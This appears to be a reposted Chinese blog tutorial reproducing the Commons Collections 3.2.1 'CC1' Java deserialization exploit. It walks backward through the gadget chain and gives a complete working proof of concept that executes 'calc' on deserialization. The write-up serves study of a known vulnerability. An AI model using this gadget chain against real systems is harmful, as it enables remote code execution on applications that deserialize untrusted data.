java 反序列化 cc1 复现

news/2024/12/22 10:16:31/文章来源:https://www.cnblogs.com/meraklbz/p/18445426

java反序列化cc1漏洞复现,环境commoncollections3.2.1, java8u65.
分析的时候从执行命令的部分开始,一点一点的倒退回反序列化接口.目的:在java反序列化的时候会利用构造函数来进行对象的构造,那么我们的目标就是只调用构造函数来执行命令.

源码剖析

Transformer

一个接口,定义了transform方法,所有实现了这个接口的子类都得去实现这个方法(万恶之源了属于是).

package org.apache.commons.collections;public interface Transformer {Object transform(Object var1);
}

InvokerTransformer

该类的位置: org.apache.commons.collections.functors.InvokerTransformer,为了方便阅读,把没用到的方法都删了.

public class InvokerTransformer implements Transformer, Serializable {private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var4) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var6) {InvocationTargetException ex = var6;throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}}
}

执行命令的方法为transform,使用前需要调用构造函数来进行赋值.
测试:

import org.apache.commons.collections.functors.InvokerTransformer;public class Main {public static void main(String[] args) throws Exception {Class[] paramTypes = {String.class};Object[] args1 = {"calc"};InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);it.transform(Runtime.getRuntime());}
}

成功弹出计算器.
实际上上面就相当于执行了下面的这条语句

Runtime.getRuntime().getClass().getMethod("exec", String.class).invoke(Runtime.getRuntime(), "calc");

那么如何才能做到不直接调用InvokerTransformer方法直接去执行命令呢?

ConstantTransformer

简化后的代码如下

public class ConstantTransformer implements Transformer, Serializable {private final Object iConstant;public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;}
}

逻辑很简单,构造函数接受对象,transform方法返回对象.然而这里就很有说法,由于多态的机制会去调用Transformer类的transform方法,这里是对transform的一个重写,可以去存储一个对象,需要的时候调用transform方法去返回存储的对象.

ChainedTransformer

简化以后得代码如下

public class ChainedTransformer implements Transformer, Serializable {private final Transformer[] iTransformers;public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}

构造函数传入了一个Transformer[]数组,然后在transform中以链式去调用每个Transformer对象的transform方法,其参数为手动传入的object.前者返回值会作为后者的参数被传入.
测试:

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
public class Main {public static void main(String[] args) throws Exception {ConstantTransformer constanttransformer = new ConstantTransformer(Runtime.getRuntime());InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Transformer[] transformers = {constanttransformer, invokertransformer};ChainedTransformer chainedtransformer =  new ChainedTransformer(transformers);chainedtransformer.transform(null);}
}

第一次调用constanttransformer的transform方法,返回了一个Runtime对象,传入invokertransformer的transform方法中成功的得到了一个初始化过的InvokerTransformer对象,最后调用其transform方法弹计算器.
然而由于Runtime类没有实现Serializable接口接口,无法去进行反序列化.但是Class类实现了,因此我们尝试利用Runtime.class来实现.
测试:

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
public class Main {public static void main(String[] args) throws Exception {ConstantTransformer ct = new ConstantTransformer(Runtime.class);//获取类对象//Runtime.classString methodName1 = "getMethod";Class[] paramTypes1 = {String.class, Class[].class};Object[] args1 = {"getRuntime", null};InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);//获取getRuntime方法//Runtime.class.getMethod("getRuntime", null)String methodName2 = "invoke";Class[] paramTypes2 = {Object.class, Object[].class};Object[] args2 = {null, null};InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);//getRuntime.invoke获取Runtime对象//it1.invoke(null, null)String methodName3 = "exec";Class[] paramTypes3 = {String.class};Object[] args3 = {"calc"};InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);//Runtime对象执行exec命令//it2.exec("calc")Transformer[] transformers = {ct, it1, it2, it3};new ChainedTransformer(transformers).transform(null);}
}

上面的代码体现了java反射中的层层利用与ChainedTransformer类的紧密配合,等同于如下代码

((Runtime)Runtime.getRuntime().getClass().getMethod("getRuntime", null).invoke(null, null)).exec("calc");

成功的执行命令,弹出计算器.
然而这里还是调用了ChainedTransformer的transform方法,想个办法把他跳过去.

TransformedMap

类的位置:org.apache.commons.collections.map.TransformedMap

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {protected final Transformer keyTransformer;protected final Transformer valueTransformer;public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}

我们可以看到可以通过调用checkSetValue来调用一个Transformer.transform对象的transform方法.那么如何调用这个checkSetValue方法呢?

AbstractInputCheckedMapDecorator

是TransformedMap的父类.

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {protected AbstractInputCheckedMapDecorator() {}protected abstract Object checkSetValue(Object var1);static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = this.parent.checkSetValue(value);return this.entry.setValue(value);}}static class EntrySetIterator extends AbstractIteratorDecorator {private final AbstractInputCheckedMapDecorator parent;public Object next() {Map.Entry entry = (Map.Entry)this.iterator.next();return new MapEntry(entry, this.parent);}}static class EntrySet extends AbstractSetDecorator {private final AbstractInputCheckedMapDecorator parent;protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {super(set);this.parent = parent;}public Iterator iterator() {return new EntrySetIterator(this.collection.iterator(), this.parent);}}
}

小喷一句,把子类直接写到父类里除了增添阅读障碍没有任何的好处.
我们看到AbstractInputCheckedMapDecorator的子类MapEntry中的setValue方法调用了父类的checksetValue,也就是说可以调用到TransformedMap的checksetValue方法.那么如何调用这个setValue呢

AnnotationInvocationHandler

类的位置:sun.reflect.annotation.AnnotationInvocationHandler

class AnnotationInvocationHandler implements InvocationHandler, Serializable {private final Class<? extends Annotation> type;  private final Map<String, Object> memberValues;  private transient volatile Method[] memberMethods = null;AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {Class[] var3 = var1.getInterfaces();if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {this.type = var1;this.memberValues = var2;} else {throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");}}private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;try {var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var3 = var2.memberTypes();Iterator var4 = this.memberValues.entrySet().iterator();while(var4.hasNext()) {Map.Entry var5 = (Map.Entry)var4.next();String var6 = (String)var5.getKey();Class var7 = (Class)var3.get(var6);if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));}}}}
}

我们可以看到这个readObject类就是反序列化的入口点.其中存在var5调用了setValue方法.
那么这个var5是咋来的呢?核心逻辑是调用了var4的next方法.而这个var4则是从this.memberValues中得到的.

Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();

而这个memberValues在构造函数中被赋值

if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {this.type = var1;this.memberValues = var2;} 

而这个next方法在AbstractInputCheckedMapDecorator.EntrySetIterator中有实现(重写).

static class EntrySetIterator extends AbstractIteratorDecorator {private final AbstractInputCheckedMapDecorator parent;public Object next() {Map.Entry entry = (Map.Entry)this.iterator.next();return new MapEntry(entry, this.parent);}}

会调用AbstractInputCheckedMapDecorator.MapEntry的构造方法来构造一个Map.Entry对象

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}

归纳出链子

我们归纳整理得到利用链如下

Gadget chain:
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

整理得到poc

完整的poc如下

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {ConstantTransformer ct = new ConstantTransformer(Runtime.class);String methodName1 = "getMethod";Class[] paramTypes1 = {String.class, Class[].class};Object[] args1 = {"getRuntime", null};InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);String methodName2 = "invoke";Class[] paramTypes2 = {Object.class, Object[].class};Object[] args2 = {null, null};InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);String methodName3 = "exec";Class[] paramTypes3 = {String.class};Object[] args3 = {"calc"};InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);Transformer[] transformers = {ct, it1, it2, it3};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);/*ChainedTransformer*/HashMap<Object, Object> map = new HashMap<>();map.put("value", ""); //解释二Map decorated = TransformedMap.decorate(map, null, chainedTransformer);/*TransformedMap.decorate*/Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);annoConstructor.setAccessible(true);Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一/*AnnotationInvocationHandler*/serial(poc);unserial();}public static void serial(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));out.writeObject(obj);}public static void unserial() throws IOException, ClassNotFoundException {ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));in.readObject();}
}

需要解释的包括两处.
第一: 为什么在使用反射生成AnnotationInvokationHandler对象的时候最后构造方法的第一个参数要传入Target.class.
我们回过头再来看AnnotationInvokationHandler对象的构造函数

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {Class[] var3 = var1.getInterfaces();if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {this.type = var1;this.memberValues = var2;} else {throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");}}

看这个if判断语句的逻辑,要求var1是一个注解的Class,同时要求这个注解的接口数为1,并且为Annotation.class.
我们打个断点调试一下看看这个Target.class是否满足条件.
image

发现恰好满足条件.
第二: 为什么在构造TransformedMap的时候传入的键为value,值为空?map.put("value", "");
我们翻回头来看看AnnotationInvokationHandler的readObject方法.

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;try {var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var3 = var2.memberTypes();Iterator var4 = this.memberValues.entrySet().iterator();while(var4.hasNext()) {Map.Entry var5 = (Map.Entry)var4.next();String var6 = (String)var5.getKey();Class var7 = (Class)var3.get(var6);if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));}}}}

看到执行var5.setValue的条件为var7不为空.追述一下var7是怎么来的.Class var7 = (Class)var3.get(var6);
其中的var3由下面的代码生成

AnnotationType.getInstance(Target.class).memberTypes();

实际上返回的是一个map对象,键是@Target注解中元数据的名称,值为类型.所以var7就是@Target注解的属性中名为var6的值.也就是说要求@Target中有var6这个属性即可.
那么看看@Target中有什么

public @interface Target {  ElementType[] value();  
}

只有value这一个属性.而var6的生成路线如下

this.memberValues.entrySet().iterator().next().getKey()

也就是说var6是我们传入的第二个参数(一个Map)中第一个键值对的键.
所以我们在创建map的时候要放一个键为value的键值对map.put("value", "");.值是什么无所谓,因为根本没有用到这个值.

至此完成了java反序列化cc1的复现.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/807334.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

吴恩达机器学习课程 笔记5 神经网络

神经网络原理 神经网络是一种受生物神经系统启发的计算模型,用于学习和处理复杂的数据模式。神经网络通过一系列相互连接的简单处理单元(称为神经元或节点)来模拟大脑的功能。下面详细介绍神经网络的基本原理。 神经网络的基本构成神经元(Neuron):神经元是神经网络的基本…

在树莓派上部署yolo模型推理并使用onnx加速

首先在这里感谢一下这位大佬:学不会电磁场的个人空间-学不会电磁场个人主页-哔哩哔哩视频 (bilibili.com) 这里使用的代码是从手把手教你使用c++部署yolov5模型,opencv推理onnx模型_哔哩哔哩_bilibili处来的我这里只记录下更换成自己的模型的应用以及提供一份全注释的版本树莓…

Redis 发布订阅模式

概述 Redis 的发布/订阅是一种消息通信模式:发送者(Pub)向频道(Channel)发送消息,订阅者(Sub)接收频道上的消息。Redis 客户端可以订阅任意数量的频道,发送者也可以向任意频道发送数据。在发送者向频道发送一条消息后,这条消息就会被发送到订阅该频道的客户端(Sub)…

01-什么是逻辑?

感觉 知觉 感性认识 理性认识 感觉 知觉 表象 形象思维 ==》概念 在感性认识的基础上,人们通过抽象与概括,舍弃个别事物表面的、次要的属性,而把握住一类事物特有的、共同的、本质的属性,于是就形成了反映事物的概念。 直观性与个别性是感觉、知觉与表象的特点;抽…

十五款好看的键帽,总有一款适合你✔

在客制化键盘的时候,发现了不少挺好看的键帽,特地来分享一波。在客制化键盘的时候,发现了不少挺好看的键帽,特地来分享一波。 不含广告哈,只会列出一些搜索关键词,可以在各大电商搜索查到。 如果你已经有了键盘,也可以看看是否支持拆卸键帽,偶尔换换键帽调整心情。 PS:…

10-入侵检测技术原理与应用

10.1 入侵检测概述 1)概念 20世纪 80年代初期,安全专家认为: “入侵是指未经授权蓄意尝试访问信息、篡改信息,使系统不可用的行为。” 美国大学安全专家将入侵定义为 “非法进入信息系统,包括违反信息系统的安全策略或法律保护条例的动作”。 我们认为,入侵应与受害目标相…

Nexpose 6.6.271 发布下载,新增功能概览

Nexpose 6.6.271 发布下载,新增功能概览Nexpose 6.6.271 for Linux & Windows - 漏洞扫描 Rapid7 Vulnerability Management, release Sep 26, 2024 请访问原文链接:https://sysin.org/blog/nexpose-6/,查看最新版。原创作品,转载请保留出处。 作者主页:sysin.org您的…

在树莓派上安装c++版本的opencv并运行

这里默认你用的是树莓派的镜像(因为ubantu对树莓派的性能占用有点大) 树莓派安装使用 opencv c++版本 首先我们安装依赖sudo apt-get install build-essentialsudo apt-get install cmake libgtk2.0-dev pkg-config libswscale-devsudo apt-get install libjpeg-dev libpng-d…

读数据湖仓05数据需要的层次

读数据湖仓05数据需要的层次1. 业务价值 1.1. 技术和商业在这个世界上是相互交织的1.1.1. 基础数据在商业和技术应用中是不可或缺的1.2. 技术的存在是为了推动商业的目标和进步,并由企业出资支持1.2.1. 当技术推动商业发展时,商业会蓬勃发展,技术也会随之繁荣1.2.2. 当技术发…

Hadoop详细安装步骤,附带安装完的虚拟机。

Hadoop集群搭建笔记 环境:window11家庭中文版 23H2 VMware16.1.2 镜像:CentOS-7-x86_64-DVD-2009.iso jdk:jdk-8u202-linux-x64.tar.gz hadoop:hadoop-3.3.5.tar.gz 集群分布主机 角色node1(192.168.100.100) NN DN RM NMnode2(192.168.100.101) SNN DN …

Nuxt.js 应用中的 app:redirected 钩子详解

title: Nuxt.js 应用中的 app:redirected 钩子详解 date: 2024/10/3 updated: 2024/10/3 author: cmdragon excerpt: app:redirected 是 Nuxt.js 中的一个钩子,主要用于处理服务器端渲染(SSR)过程中发生的重定向。该钩子在重定向被执行之前被调用,允许开发者在重定向发生前…

全网最适合入门的面向对象编程教程:55 Python字符串与序列化-字节序列类型和可变字节字符串

在Python中,字符编码是将字符映射为字节的过程,而字节序列(bytes)则是存储这些字节的实际数据结构,字节序列和可变字节字符串的主要区别在于其可变性和用途,bytearray是可变的字节序列,允许修改其内容。全网最适合入门的面向对象编程教程:55 Python 字符串与序列化-字节…